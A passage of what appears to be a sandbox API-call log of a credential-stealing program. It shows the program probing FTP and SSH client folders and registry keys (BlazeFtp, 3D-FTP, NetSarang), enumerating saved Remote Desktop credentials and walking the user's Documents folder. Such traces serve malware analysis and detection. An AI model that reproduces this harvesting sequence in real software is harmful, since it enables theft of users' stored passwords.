lpString1="C:\\ProgramData\\BlazeFtp\\*.*") returned="C:\\ProgramData\\BlazeFtp\\*.*" [0079.573] FindFirstFileA (in: lpFileName="C:\\ProgramData\\BlazeFtp\\*.*", lpFindFileData=0x12fd26 | out: lpFindFileData=0x12fd26) returned 0xffffffff [0079.573] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.573] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.574] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x629248 [0079.574] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.574] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\BlazeFtp" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp" [0079.574] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x647ab8 [0079.574] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp" [0079.574] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp\\*.*" [0079.574] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\BlazeFtp\\*.*", lpFindFileData=0x12fd26 | out: lpFindFileData=0x12fd26) returned 0xffffffff [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe98 | out: phkResult=0x12fe98*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe6c | out: phkResult=0x12fe6c*=0x0) returned 0x2 [0079.574] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\FlashPeak\\BlazeFtp\\Settings", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe40 | out: phkResult=0x12fe40*=0x0) returned 0x2 [0079.574] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12feb8*=0x10, cb=0x4, pcbWritten=0x12fe94 | out: pcbWritten=0x12fe94*=0x4) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.575] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x40, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.575] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="FTP++.Link\\shell\\open\\command", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb4 | out: phkResult=0x12feb4*=0x0) returned 0x2 [0079.575] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="FTP++.Link\\shell\\open\\command", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe88 | out: phkResult=0x12fe88*=0x0) returned 0x2 [0079.575] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="FTP++.Link\\shell\\open\\command", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe5c | out: phkResult=0x12fe5c*=0x0) returned 0x2 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.575] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.575] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.576] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.576] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.576] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.576] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.576] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.576] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.576] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x41, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.576] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.577] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.577] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.577] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.577] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.577] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.577] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.578] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.578] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.578] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.578] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.578] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x42, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.578] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.579] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.579] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.579] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x670c38 [0079.579] lstrcpyA (in: lpString1=0x670c38, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.579] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\3D-FTP" | out: lpString1="C:\\ProgramData\\3D-FTP") returned="C:\\ProgramData\\3D-FTP" [0079.579] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x652cb0 [0079.579] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData\\3D-FTP" | out: lpString1="C:\\ProgramData\\3D-FTP") returned="C:\\ProgramData\\3D-FTP" [0079.579] lstrcatA (in: lpString1="C:\\ProgramData\\3D-FTP", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\3D-FTP\\*.*") returned="C:\\ProgramData\\3D-FTP\\*.*" [0079.580] FindFirstFileA (in: lpFileName="C:\\ProgramData\\3D-FTP\\*.*", lpFindFileData=0x12fd72 | out: lpFindFileData=0x12fd72) returned 0xffffffff [0079.580] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.580] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.580] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652cb0 [0079.580] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.580] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SiteDesigner" | out: lpString1="C:\\ProgramData\\SiteDesigner") returned="C:\\ProgramData\\SiteDesigner" [0079.580] LocalAlloc (uFlags=0x40, uBytes=0xa0) returned 0x652d58 [0079.580] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\SiteDesigner" | out: lpString1="C:\\ProgramData\\SiteDesigner") returned="C:\\ProgramData\\SiteDesigner" [0079.580] lstrcatA (in: lpString1="C:\\ProgramData\\SiteDesigner", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\SiteDesigner\\*.*") returned="C:\\ProgramData\\SiteDesigner\\*.*" [0079.580] FindFirstFileA (in: lpFileName="C:\\ProgramData\\SiteDesigner\\*.*", lpFindFileData=0x12fd72 | out: lpFindFileData=0x12fd72) returned 0xffffffff [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.580] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.580] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.580] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.580] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x8) returned 0x0 [0079.580] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fecc*=0x0, cb=0x4, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x4) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee0*=0x43, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x0, cb=0x2, pcbWritten=0x12fea4 | out: pcbWritten=0x12fea4*=0x2) returned 0x0 [0079.581] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes\\TypeLib\\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\\1.2\\0\\win32", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feb0 | out: phkResult=0x12feb0*=0x0) returned 0x2 [0079.581] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes\\TypeLib\\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\\1.2\\0\\win32", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fe84 | out: phkResult=0x12fe84*=0x0) returned 0x2 [0079.581] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes\\TypeLib\\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\\1.2\\0\\win32", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fe58 | out: phkResult=0x12fe58*=0x0) returned 0x2 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x10, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.581] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.581] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x44, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.581] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.581] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.581] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0079.581] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0079.581] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0079.581] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\NetSarang" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang" [0079.581] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x647b70 [0079.581] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang" [0079.581] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang\\*.*" [0079.582] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\NetSarang\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.582] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.582] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\ProgramData") returned 0x0 [0079.582] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0079.582] lstrcpyA (in: lpString1=0x652cb0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0079.582] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\NetSarang" | out: lpString1="C:\\ProgramData\\NetSarang") returned="C:\\ProgramData\\NetSarang" [0079.582] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652d58 [0079.582] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\ProgramData\\NetSarang" | out: lpString1="C:\\ProgramData\\NetSarang") returned="C:\\ProgramData\\NetSarang" [0079.582] lstrcatA (in: lpString1="C:\\ProgramData\\NetSarang", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\NetSarang\\*.*") returned="C:\\ProgramData\\NetSarang\\*.*" [0079.582] FindFirstFileA (in: lpFileName="C:\\ProgramData\\NetSarang\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.582] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.582] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0079.582] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0079.582] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0079.582] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\NetSarang" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang" [0079.582] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647b70 [0079.582] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang" [0079.582] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang\\*.*" [0079.582] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\NetSarang\\*.*", lpFindFileData=0x12fd42 | out: lpFindFileData=0x12fd42) returned 0xffffffff [0079.582] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.582] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.582] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed4*=0x10, cb=0x4, pcbWritten=0x12feb0 | out: pcbWritten=0x12feb0*=0x4) returned 0x0 [0079.582] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0079.583] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0079.583] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0079.583] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.583] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0079.583] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x8) returned 0x0 [0079.583] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fed0*=0x0, cb=0x4, pcbWritten=0x12feac | out: pcbWritten=0x12feac*=0x4) returned 0x0 [0079.583] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee4*=0x45, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.583] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fee8*=0x0, cb=0x2, pcbWritten=0x12fea8 | out: pcbWritten=0x12fea8*=0x2) returned 0x0 [0079.583] CredEnumerateA (in: Filter="TERMSRV/*", Flags=0x0, Count=0x12fed8, Credential=0x12fedc | out: Count=0x12fed8, Credential=0x12fedc) returned 0 [0079.583] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0079.583] SHGetFolderPathA (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\Documents") returned 0x0 [0079.584] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652d58 [0079.584] lstrcpyA (in: lpString1=0x652d58, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.584] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\*.*" [0079.584] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\*.*", lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 0x642768 [0079.584] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.584] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.584] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.585] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.585] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd8e | out: lpFindFileData=0x12fd8e) returned 1 [0079.585] LocalAlloc (uFlags=0x40, uBytes=0x9c) returned 0x652b60 [0079.585] lstrcpyA (in: lpString1=0x652b60, lpString2="C:\\Users\\EEBsYm5\\Documents" | out: lpString1="C:\\Users\\EEBsYm5\\Documents") returned="C:\\Users\\EEBsYm5\\Documents" [0079.585] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.585] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0079.585] lstrcpyA (in: lpString1=0x629248, lpString2="C:\\Users\\EEBsYm5\\Documents\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\") returned="C:\\Users\\EEBsYm5\\Documents\\" [0079.585] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\", lpString2="bN4uNXn1jH" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH") returned="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH" [0079.585] LocalFree (hMem=0x652b60) returned 0x0 [0079.585] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH") returned 37 [0079.585] lstrlenA (lpString="\\*.*") returned 4 [0079.585] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647ab8 [0079.585] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH") returned="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH" [0079.585] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\bN4uNXn1jH", lpString2="\\*.*" | out: 